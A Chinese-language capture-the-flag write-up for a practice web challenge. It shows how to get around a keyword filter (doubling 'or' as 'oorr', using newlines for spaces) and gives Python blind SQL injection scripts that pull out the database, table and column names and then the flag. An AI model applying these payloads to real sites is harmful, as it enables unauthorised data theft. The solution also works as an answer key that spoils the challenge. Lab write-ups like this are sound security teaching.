刚刚做了实验吧的题目,现在整理一下
写出解题思路,希望能够帮助到那些需要帮助的人
所有的wp都是以一题一篇的形式写出
主要是为了能够让读者更好的阅读以及查找,
希望你们不要责怪!!共勉!!!
认真一点!分值:35
- 来源: 实验吧
- 难度:难
- 参与人数:4972人
- Get Flag:379人
- 答题人数:546人
- 解题通过率:69%
解题链接: http://ctf5.shiyanbar.com/web/earnest/index.php
解题思路:这一题感觉还是比较难的(我参考了多个大神的wp,我会在后面写出他们的链接)
首先:使用比较简单的思路
查看一下源代码,并没有发现任何信息,
当我输入id=1'时,页面返回“you are not in.......”,
当输入id=1'and时,页面返回Sql injection detected!,说明and被过滤了
接着就是开始试服务器到底过滤了哪些字符:and,union,空格,,,#,+
接着就开始尝试注入语句了:id=1'/**/or/**/'1'='1,
结果却返回了“you are not in......”,没见过的操作啊,还是我做的题太少了
输入 id=1‘/**/or/**/'1'='1
输入 id=1‘and
这个时候的我属于不知道路在何方呀!!
上网搜了一些人的wp发现自己很菜呀
后来才知道原来这边虽然没有过滤or,但后台对于or有别的操作,这种改变是可能绕过的,
一般的后台处理逻辑是匹配or、or(不分大小写)、or+空格并替换为空。尝试改变大小写和用oorr代替,
发现回显都为You are in,也就是说,后台处理应该是匹配or(小写),并将其替换为空,并且仅仅处理了一次,
而且经过测试,*也在后台被改变,因此我们可以拿%0a来代替空格
接下来就是盲注的常规操作了,但这里过滤了and和逗号,后来测试的时候还发现过滤了substr
先爆当前数据库名的长度:
import requests
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
for i in range(1,30):
key = {'id':"0'oorr(length(database())=%s)oorr'0"%i}
r = requests.post(url, data=key).text
print(i)
if str1 in r:
print('the length of database is %s'%i)
break
就会得到:
开始跑数据库名:
import requests
guess = '~abcdefghijklmnopqrstuvwxyz_0123456789'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
database = ''
for i in range(1,19):
for j in guess:
key = {'id':"0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0" %(i,j)}
r = requests.post(url, data=key).text
print(key)
if str1 in r:
database += j
print(j)
break
print(database)
就会得到:
接着跑表的长度
import requests
guess = '~abcdefghijklmnopqrstuvwxyz_0123456789'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
i = 1
while True:
flag = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='')oorr'0"%i
flag = flag.replace(' ', chr(0x0a))
key = {'id':flag}
r = requests.post(url, data=key).text
print(key)
if str1 in r:
print('the length of tables is %s'%i)
break
i += 1
就会得到:
再跑一个:
import requests
guess = '~abcdefghijklmnopqrstuvwxyz_0123456789'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
tables = ''
for i in range(1,12):
for j in guess:
flag = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%s')oorr'0"%(i, j)
flag = flag.replace(' ', chr(0x0a))
key = {'id':flag}
r = requests.post(url, data=key).text
print(key)
if str1 in r:
tables += j
print(j)
break
print(tables)
就会得到:(由于源代码中的guess中没有包含进@,所以导致这两张表之间没有被隔开)
继续使用python代码跑出dump的数据:
import requests
guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
columns = ''
for i in range(1,6):
for j in guess:
flag = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0"%(i, j)
flag = flag.replace(' ', chr(0x0a))
key = {'id':flag}
r = requests.post(url, data=key).text
print(key)
if str1 in r:
columns += j
print(j)
break
print(columns)
就会得到:
跑出来列名:
我们再看一下dump数据的位数:
import requests
guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
i = 1
while True:
flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='')oorr'0"%i
flag = flag.replace(' ', chr(0x0a))
key = {'id':flag}
r = requests.post(url, data=key).text
print(key)
if str1 in r:
print('the length of data is %s'%i)
break
i += 1
最后得到是13位
再跑一下就是最后的答案(这里并不能以十三位跑flag,我看了其他人的wp
原来是flag中第十四位是' '了,这就导致我在跑数据的时候就发生了错误,flag根本不止13位
import requests
guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
i = 1
while True:
flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='')oorr'0"%i
flag = flag.replace(' ', chr(0x0a))
key = {'id':flag}
r = requests.post(url, data=key).text
print(key)
if str1 in r:
print('the length of data is %s'%i)
break
i += 1
data = ''
for i in range(1,22):
for j in guess:
flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0"%(i, j)
flag = flag.replace(' ', chr(0x0a))
key = {'id':flag}
r = requests.post(url, data=key).text
print(key)
if str1 in r:
data += j
print(j)
break
print(data)
最后得到答案:
这里的-实际是由空格转义来的,所以真正的flag是flag{haha~you win!}
参考博文:十分感谢这些人的文章
Ragd0ll:https://www.cnblogs.com/Ragd0ll/p/8684767.html
简书上的大佬:https://www.jianshu.com/p/11f409992681
csdn上面的大佬:https://blog.csdn.net/xiaorouji/article/details/80574986